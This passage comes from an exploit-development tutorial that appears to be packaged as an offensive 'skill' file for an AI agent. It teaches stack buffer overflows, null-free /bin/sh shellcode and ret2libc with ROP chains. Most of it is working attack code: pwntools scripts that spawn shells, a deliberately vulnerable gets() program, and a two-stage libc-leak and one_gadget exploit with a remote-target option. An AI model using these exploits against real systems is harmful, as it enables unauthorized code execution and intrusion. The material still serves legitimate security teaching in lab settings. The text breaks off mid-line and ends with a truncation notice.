(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env                        # Should be minimal

# Or use this pwntools trick to match addresses
p = process('./vuln1', env={})        # Empty environment

Essential pwndbg Commands for Exploit Development (AMD64):

# Address finding
pwndbg> vmmap                         # Memory map (find stack, libc, etc.)
pwndbg> search -s "/bin/sh"           # Find string in memory
pwndbg> got                           # Show GOT entries

# Payload verification
pwndbg> hexdump $rsp 100              # View your payload on stack
pwndbg> telescope $rsp 20             # Smart stack display (shows dereferences)

# Execution tracing
pwndbg> nearpc                        # Show instructions around PC
pwndbg> context                       # Full context display
pwndbg> retaddr                       # Show return addresses on stack

# Exploit helpers
pwndbg> rop                           # Find ROP gadgets (slow)
pwndbg> checksec                      # Binary protections

Debugging Checklist (Use Before Asking for Help!):

• Offset verified? Use cyclic pattern, confirm with cyclic -l (use full 8-byte value on AMD64!)
• Addresses correct? Double-check with print &function in GDB
• Architecture matches? context.arch = 'amd64', use p64() not p32()
• Endianness correct? x86/x64 = little endian = p64()
• No bad characters? Check for \x00, \x0a, \x0d in payload
• Stack executable? checksec should show "NX disabled"
• ASLR disabled for this run? Use setarch -R or GDB's default
• Using same environment? env -i or env={} in pwntools
• Shellcode tested standalone? run_shellcode() in pwntools
• Stack aligned? AMD64 requires 16-byte alignment before call

Environment Hygiene (Critical for Exploit Development)

Stack addresses differ between environments due to variables like LINES, COLUMNS, PWD, TERM, and program name length. This is the #1 cause of "works in GDB, fails outside" issues.

The Problem:

Normal execution:     GDB execution:           Different terminal:
┌─────────────────┐   ┌─────────────────┐      ┌─────────────────┐
│ env vars (big)  │   │ env vars + GDB  │      │ different env   │
│ PWD=/long/path  │   │ extra vars      │      │ COLUMNS=120     │
├─────────────────┤   ├─────────────────┤      ├─────────────────┤
│ argv, argc      │   │ argv, argc      │      │ argv, argc      │
├─────────────────┤   ├─────────────────┤      ├─────────────────┤
│ Stack           │   │ Stack           │      │ Stack           │
│ buffer @ 0xABC  │   │ buffer @ 0xA00  │      │ buffer @ 0xB00  │
└─────────────────┘   └─────────────────┘      └─────────────────┘
       ↑ Different addresses due to env var size!

Solution: Force Consistent Environment:

# Method 1: Clear all environment variables
env -i ./exploit

# Method 2: Clear and set minimal required vars
env -i PWD=$(pwd) ./exploit

# Method 3: In pwntools (RECOMMENDED for learning)
from pwn import *
p = process('./vuln', env={})  # Empty environment
# Or with minimal vars:
p = process('./vuln', env={'PWD': os.getcwd()})

# Method 4: Disable ASLR per-process (pwntools, best for learning)
p = process('./vuln', aslr=False, env={})

The "It Works on My Machine" Checklist

• Buffering Hell
  • Local process() typically uses PTY (unbuffered).
  • Remote nc or sockets are often fully buffered or line-buffered.
  • Always use p.recvuntil(b'prompt') before sending. Never rely on sleep() unless absolutely necessary.
• IO Handling
  • p.recv() is dangerous—it returns some data, not all data.
  • p.clean() removes unread data (useful before sending payload).
  • p.sendline() adds \n. Ensure target expects \n and not just raw bytes.
• Environment Variables
  • Remote servers have different env vars than your GDB session.
  • This shifts stack addresses by +/- 0x100 bytes.
  • Never rely on exact stack addresses (hardcoded 0x7ffffff...).
  • Always use leaks (libc/stack) and relative offsets, or NOP sleds.

GDB Environment Matching:

# In GDB, clear problematic variables
gdb -q ./vuln
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) unset env TERM
(gdb) show env          # Verify minimal environment
(gdb) run

# Or start GDB with clean environment
env -i gdb -q ./vuln

pwntools Best Practice for Learning:

#!/usr/bin/env python3
from pwn import *

context.binary = ELF('./vuln')

# For LEARNING phase: disable ASLR and clear env
# This ensures consistent addresses across runs
p = process('./vuln', aslr=False, env={})

# For PRODUCTION exploits: use leaks and relative offsets
# p = process('./vuln')  # Real-world: ASLR enabled

Verification:

# Compare stack addresses with different environments
env -i ./vuln          # Note buffer address
./vuln                 # Different address!
env -i PWD=x ./vuln    # Yet another address

# Find the delta between GDB and real execution
# GDB typically adds ~0x60-0x100 bytes to stack

[!WARNING] Always use env -i or env={} when developing exploits with hardcoded addresses! Once your exploit works, convert to using leaks for portability.

Practical Exercise

Exercise: Exploit vuln1 to get a shell

Steps:

1. Compile Target (AMD64):

   make training-shellcode SOURCE=vuln1.c BINARY=vuln1
   #gcc -g -O0 -fno-stack-protector -z execstack -no-pie vuln1.c -o vuln1
   #checksec --file=./vuln1

2. Find Offset (AMD64 uses 8-byte patterns):

   pwn cyclic 200
   # copy output
   gdb ./vuln1
   run
   # paste as input
   # Note the 4-byte crash value for RIP
   cyclic -n 4 -l <4_byte_crash_value>

3. Find Stack Address (or jmp rsp gadget):

   ROPgadget --binary ./vuln1 | grep "jmp rsp"

4. Build Exploit (AMD64):

   • NOP sled (50 bytes)
   • AMD64 shellcode (use asm(shellcraft.amd64.linux.sh()))
   • Padding to offset (72 bytes typical)
   • Return address (8 bytes - use p64())

5. Test Exploit:

   python3 exploit1.py
   # Should get shell
   id
   whoami

Success Criteria:

• Successfully overflow return address
• Shellcode executes
• Shell obtained
• Can run commands (id, whoami, ls)

Week 4 Deliverable Exercise: From Minimized Crash to Exploit

Use one of your Week 4 deliverables (reproduction fidelity + minimized crash) and turn it into a working Day 1 exploit.

Inputs from Week 4:

• A minimized crash input (file or stdin blob)
• An exact reproduction command (argv + input path)
• Your reproduction notes (OS/libc, environment variables, ASLR settings)

Task:

1. Reproduce the crash reliably (>= 9/10) using the exact same input path and environment.
2. Generate a core dump and confirm you control RIP.
3. Replace your crashing bytes with a cyclic pattern and recover the exact offset.
4. Build an exploit that spawns a shell (ret2shellcode for Day 1).

Success Criteria:

• Offset derived from the crash (not guessed)
• Exploit works multiple times in a row

Week 2 Integration Exercise: AFL++ Crash -> Minimize -> Exploit

Reuse the Week 2 AFL++ workflow, but target a Week 5 binary.

Goal: produce a fuzzer-found crashing input for a Day 1 style target, minimize it, then turn it into a working exploit.

Task:

1. Build the target with AFL++ instrumentation.
2. Run afl-fuzz until you get a crash.
3. Minimize the crashing input with afl-tmin.
4. Use the minimized crash to recover the offset and build a working exploit.

Success Criteria:

• A fuzzer-generated input crashes the program
• afl-tmin produces a smaller reproducer that still crashes
• You can transform the minimized input into a working exploit

Common Issues and Solutions

Issue 1: Segfault at wrong address

# Check actual RIP value (AMD64)
gdb ./vuln1
run
# add exploit
info registers rip

# Adjust return address in exploit

Issue 2: Shellcode not executing

# Verify shellcode is correct AMD64 shellcode
python3 -c "from pwn import *; context.arch='amd64'; print(asm(shellcraft.amd64.linux.sh()).hex())"

# Check stack is executable
readelf -l vuln1 | grep STACK
# Should show RWE (Read Write Execute)

Issue 3: Stack address wrong

# Stack addresses may vary slightly
# Use larger NOP sled (100-200 bytes)
# Adjust return address to middle of NOP sled

Common Mistakes to Avoid

1. Forgetting endianness: x86/x64 is little-endian. 0xdeadbeef becomes \xef\xbe\xad\xde
2. Wrong architecture: AMD64 shellcode won't work in 32-bit process (and vice versa!)
3. Using p32() on AMD64: Always use p64() for 64-bit binaries
4. Bad characters: Null bytes (\x00) terminate strings in strcpy. Other common bad chars: \x0a (newline), \x0d (carriage return), \x20 (space)
5. Stack alignment: AMD64 requires 16-byte alignment before call for some libc functions (add extra ret gadget if crashes in libc)
6. Environment differences: Stack addresses differ between GDB and normal execution (due to environment variables)

Exercise: Removing Null Bytes from Shellcode

Why This Matters: String functions like strcpy(), gets(), and scanf("%s") stop at null bytes. If your shellcode contains \x00, it gets truncated.

Common Null Byte Sources:

Task: Convert this null-containing shellcode to null-free:

; Original (contains null bytes)
; execve("/bin/sh", NULL, NULL)
BITS 64

section .text
global _start

_start:
    mov rax, 59          ; 48 c7 c0 3b 00 00 00 - CONTAINS NULLS!
    mov rdi, binsh       ; 48 bf XX XX XX XX XX XX XX XX - address likely has nulls
    mov rsi, 0           ; 48 c7 c6 00 00 00 00 - CONTAINS NULLS!
    mov rdx, 0           ; 48 c7 c2 00 00 00 00 - CONTAINS NULLS!
    syscall

section .data
binsh: db "/bin/sh", 0   ; Contains null terminator!

Solution: Null-Free Version:

; Null-free execve("/bin/sh", NULL, NULL)
BITS 64

section .text
global _start

_start:
    ; Clear registers without using immediate 0
    xor eax, eax         ; 31 c0 - clears RAX (zero-extends to 64-bit)
    xor esi, esi         ; 31 f6 - clears RSI
    xor edx, edx         ; 31 d2 - clears RDX

    ; Push "/bin/sh" onto stack (reverse order, no null in code)
    ; "/bin/sh" = 0x68732f6e69622f2f with extra / ("/bin//sh")
    push rax             ; Null terminator on stack
    mov rdi, 0x68732f2f6e69622f  ; "/bin//sh" (no embedded nulls)
    push rdi
    mov rdi, rsp         ; RDI = pointer to "/bin//sh\0"

    ; Set syscall number without nulls
    mov al, 59           ; b0 3b - only sets AL, RAX already 0

    syscall              ; 0f 05 - execute!

pwntools Verification:

# ~/exploit/7.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

# Check for null bytes in shellcode
shellcode = asm('''
    xor eax, eax
    xor esi, esi
    xor edx, edx
    push rax
    mov rdi, 0x68732f2f6e69622f
    push rdi
    mov rdi, rsp
    mov al, 59
    syscall
''')

# Verify no null bytes
if b'\x00' in shellcode:
    print(f"[!] FAIL: Shellcode contains null bytes!")
    print(f"    Position: {shellcode.index(b'\\x00')}")
    print(f"    Bytes: {shellcode.hex()}")
else:
    print(f"[+] SUCCESS: Null-free shellcode ({len(shellcode)} bytes)")
    print(f"    {shellcode.hex()}")

# Test it
print("\n[*] Testing shellcode...")
run_shellcode(shellcode).interactive()

Null-Byte Elimination Techniques:

Identifying Bad Characters:

#~/exploit/8.py
from pwn import *
# Find all bad characters in your shellcode
def find_bad_chars(shellcode, bad_chars=b'\x00\x0a\x0d\x20'):
    found = []
    for i, byte in enumerate(shellcode):
        if bytes([byte]) in bad_chars:
            found.append((i, hex(byte)))
    return found

shellcode = asm(shellcraft.sh())
bad = find_bad_chars(shellcode)
if bad:
    print(f"Bad characters at: {bad}")
else:
    print("Shellcode is clean!")

[!TIP] Use pwntools shellcraft with encoders for complex shellcode:

# Automatically generate null-free shellcode
shellcode = asm(shellcraft.amd64.linux.sh())
# Or use msfvenom: msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00'

Debugging Tips:

# Per-process ASLR disable (DON'T disable system-wide!)
setarch x86_64 -R ./binary
# Or in pwntools: p = process('./binary', aslr=False)

# Run with same environment as GDB
env -i ./binary

# Generate core dumps for post-crash analysis
ulimit -c unlimited
./binary $(python3 -c "print('A'*200)")
gdb ./binary core

# Trace syscalls/library calls
strace ./binary
ltrace ./binary

Key Takeaways

1. Stack overflows overwrite return address: Control RIP (AMD64) / EIP (x86)
2. Finding offset is critical: Use cyclic patterns (8-byte on AMD64!)
3. NOP sleds improve reliability: Don't need exact address
4. Stack must be executable: -z execstack required for shellcode
5. Per-process ASLR disable: Use setarch -R or GDB, NOT system-wide
6. AMD64 uses 8-byte addresses: Always use p64() not p32()

Discussion Questions

1. Why does a NOP sled improve exploit reliability?
2. What happens if ASLR is enabled but other protections are disabled?
3. How would you modify your exploit if the vulnerable function used read() instead of gets()?
4. What are the limitations of this technique in real-world scenarios?
5. Why is AMD64 stack alignment (16-byte) important for exploit reliability?

Day 2: Return-to-libc and Introduction to ROP

• Goal: Learn code-reuse exploitation when stack is not executable.
• Activities:
  • Reading:
    • "The Shellcoder's Handbook" 2nd edition - Chapter 2: "Stack Overflows"
    • Return-to-libc Paper
    • The Geometry of Innocent Flesh on the Bone - Original ROP paper (Shacham, 2007)
  • Online Resources:
    • ROP Emporium - Practice challenges (start with ret2win)
    • ROPgadget Tutorial
  • Tool Setup:
    • Same VM as Day 1
    • Enable NX bit (disable execstack)
  • Exercise:
    • Exploit with ret2libc technique
    • Find gadgets manually before using ROPgadget
    • Build and debug a ROP chain

Context: Router Exploitation (MIPS/ARM)

• Return-to-libc is a staple in embedded device exploitation (routers, IoT).
• Many of these devices run on MIPS or ARM architectures where stack execution is often disabled or cache coherency issues make shellcode unreliable.
• Attackers frequently use system() or execve() from libc to spawn a shell, just like we will do today.

Deliverables

• Binary: vuln2 built with NX enabled and verified with checksec
• Leak stage: Stage 1 leak works and returns to main
• Libc base: libc.address correctly computed from the leak
• Final stage: Stage 2 gains code execution (shell)
• Notes: gadgets + alignment rationale, plus the parsed leak value

Non-Executable Stack (NX/DEP)

What is NX?:

• NX (No eXecute) bit marks stack as non-executable
• Also called DEP (Data Execution Prevention) on Windows
• Shellcode on stack cannot execute
• Need alternative exploitation strategy

Enable NX for Practice (AMD64):

# Compile with NX enabled (no -z execstack)
make disabled SOURCE=vuln1.c BINARY=vuln1_nx
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln1.c -o vuln1_nx
# Verify NX enabled
# checksec --file=./vuln1_nx
# Stack: NX enabled

# Try old exploit(edit it to use vuln_nx)
python3 exploit1.py
# Segmentation fault (shellcode doesn't execute)

Return-to-libc Technique

Concept:

• Instead of executing shellcode, call existing functions
• libc provides useful functions (system, execve, etc.)
• Chain function calls to achieve goal
• No shellcode needed!

[!IMPORTANT] AMD64 Calling Convention: Unlike x86 where arguments go on the stack, AMD64 passes the first 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9. This means we need gadgets to load registers before calling functions!

The Canonical Exploit Pattern: Leak → Compute → Exploit

[!CAUTION] Never hardcode libc addresses! Even with ASLR disabled for testing, addresses change between libc versions and systems. Always use the leak → compute base → build ROP pattern.

The Real-World Pattern:

1. Stage 1: Leak a libc address (e.g., puts@got)
2. Compute libc base: libc.address = leaked_addr - libc.symbols['puts']
3. Stage 2: Build ROP chain with calculated addresses
4. Exploit: Call system("/bin/sh") or execve

Why This Matters:

• Works even with ASLR enabled (after one leak)
• Portable across different libc versions (with correct libc file)
• This is how real exploits work—not "paste address from GDB"

Required Lab: Libc Leak via ROP (AMD64)

This is the most important skill in basic exploitation. Even with ASLR "disabled" in labs, always practice the leak pattern.

vuln2.c (Vulnerable program for leak practice):

#include <stdio.h>
#include <string.h>

// Gadget functions - ensure useful ROP gadgets exist in binary
// These create pop rdi; ret and other gadgets we need
void gadgets() {
    __asm__ volatile (
        "pop %rdi; ret\n"    // pop rdi; ret - for first argument
        "pop %rsi; ret\n"    // pop rsi; ret - for second argument
        "pop %rdx; ret\n"    // pop rdx; ret - for third argument
        "ret\n"              // ret - for stack alignment
    );
}

void vulnerable() {
    char buffer[64];
    printf("Enter input: ");
    fflush(stdout);
    gets(buffer);  // Vulnerable! Allows overflow and null bytes
    printf("You entered: %s\n", buffer);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);  // Disable buffering for reliable I/O
    puts("ROP Practice - ret2libc with leak");
    vulnerable();
    puts("Done!");  // Important: binary must import puts for our leak!
    return 0;
}

Compile (AMD64, NX enabled):

cd ~/exploit
make disabled SOURCE=vuln2.c BINARY=vuln2
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2
# checksec --file=./vuln2
# Verify: NX enabled, No canary, No PIE, SHSTK/IBT disabled

Complete Leak-Based Exploit (AMD64):

#!/usr/bin/env python3
#~/exploit/9.py
"""
Canonical ret2libc with leak - AMD64

This is THE pattern to learn. It works on real systems with ASLR.
Pattern: leak → compute libc base → build ROP → shell

Step 1: ROP to puts(puts@got), return to main
Step 2: Parse leaked puts address
Step 3: Compute libc.address = leak - libc.symbols['puts']
Step 4: Build final ROP: system("/bin/sh")
"""
from pwn import *

# ============ SETUP ============
binary_path = './vuln2'
elf = ELF(binary_path)
context.binary = elf  # Sets arch=amd64

# Load libc - use the ACTUAL libc on target system!
# On Ubuntu: /lib/x86_64-linux-gnu/libc.so.6
# For remote: download from target or use libc database
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# ============ GADGETS ============
# AMD64 needs gadgets to load registers before function calls
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]  # Almost always needed
ret = rop.find_gadget(['ret'])[0]  # For stack alignment

log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")

# ============ ADDRESSES ============
puts_plt = elf.plt['puts']      # PLT stub to call puts
puts_got = elf.got['puts']      # GOT entry (contains libc address after first call)
main_addr = elf.symbols['main'] # Return here after leak

log.info(f"puts@plt: {hex(puts_plt)}")
log.info(f"puts@got: {hex(puts_got)}")
log.info(f"main: {hex(main_addr)}")

# ============ EXPLOIT ============
OFFSET = 72  # 64 buffer + 8 saved RBP

def exploit():
    # Can run locally or switch to remote
    if args.REMOTE:
        p = remote('target', 1337)
    else:
        p = process(binary_path)

    # ========== STAGE 1: LEAK LIBC ADDRESS ==========
    log.info("Stage 1: Leaking libc address via puts(puts@got)")

    # Wait for prompt
    p.recvuntil(b'Enter input: ')

    # AMD64 ROP: pop rdi loads argument, then call puts
    # Stack alignment: add ret gadget if needed
    stage1 = flat(
        b'A' * OFFSET,
        p64(ret),           # Stack alignment (16-byte before call)
        p64(pop_rdi),       # pop rdi; ret
        p64(puts_got),      # RDI = puts@got (address to leak)
        p64(puts_plt),      # Call puts(puts@got) - prints libc address!
        p64(main_addr),     # Return to main for stage 2
    )

    p.sendline(stage1)

    # Parse the leak
    # Our ROP chain: puts(puts@got) → main, so output is:
    # "You entered: [overflow]\n[LEAKED_ADDR]\nROP Practice..."
    # Skip until after our payload echo, then read leaked address line
    p.recvuntil(b'You entered: ')
    p.recvuntil(b'\n')  # Skip to end of "You entered" line

    # Read leaked bytes - puts adds a newline, so read until that newline
    leaked_bytes = p.recvline().strip()  # Remove trailing newline from puts

    # Handle the leak (puts stops at null bytes, pad if needed)
    leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))
    log.success(f"Leaked puts@libc: {hex(leaked_puts)}")

    # ========== COMPUTE LIBC BASE ==========
    libc.address = leaked_puts - libc.symbols['puts']
    log.success(f"Calculated libc base: {hex(libc.address)}")

    # Verify libc base looks reasonable (should end in 000 due to page alignment)
    if libc.address & 0xfff != 0:
        log.warning("Libc base not page-aligned - leak may be wrong!")

    # ========== STAGE 2: ONE_GADGET APPROACH ==========
    # Modern libc lacks clean pop rdx gadgets, so we use one_gadget
    # Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
    # Constraints vary - try each until one works
    log.info("Stage 2: Using one_gadget")

    # One_gadget offsets - UPDATE THESE for your libc version!
    # Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
    one_gadgets = [
        0xef4ce,  # execve("/bin/sh", rbp-0x50, r12) - needs rbx=0, r12=0
        0xef52b,  # execve("/bin/sh", rbp-0x50, [rbp-0x78]) - needs rax=0
        0x583ec,  # posix_spawn constraints
        0x583f3,  # posix_spawn constraints
    ]

    # Try the second one_gadget (0xef52b) - needs rax=NULL
    # If first doesn't work, try index 1, 2, 3...
    one_gadget = libc.address + one_gadgets[1]
    log.info(f"one_gadget @ {hex(one_gadget)}")

    # Wait for prompt (program returned to main, runs vulnerable() again)
    p.recvuntil(b'Enter input: ')

    # For one_gadget, we need valid RBP (rbp-0x50 must be writable)
    # Our overflow corrupted RBP to 0x4141...
    # Fix: set RBP to a writable address (like stack) before one_gadget
    libc_rop = ROP(libc)

    # Find gadgets
    pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
    pop_rbx = libc_rop.find_gadget(['pop rbx', 'ret'])
    pop_r12 = libc_rop.find_gadget(['pop r12', 'ret'])
    pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])

    # Use a writable address for RBP - use a known writable section
    # .bss section in the binary is always writable
    writable_addr = elf.bss() + 0x200  # Some offset into .bss

    stage2 = b'A' * OFFSET
    stage2 += p64(ret)           # Stack alignment

    # Fix RBP to point to writable memory (CRITICAL for one_gadget!)
    if pop_rbp:
        stage2 += p64(pop_rbp[0])
        stage2 += p

*Truncated - read the full file at https://github.com/ehadziabdic/WAgents/blob/45cf0fa3c5e75a472fdc9a7b58823906a082d9d2/skills/base-hacker-claude-red/vendor/Claude-Red/Skills/exploit-dev/offensive-basic-exploitation/SKILL.md.*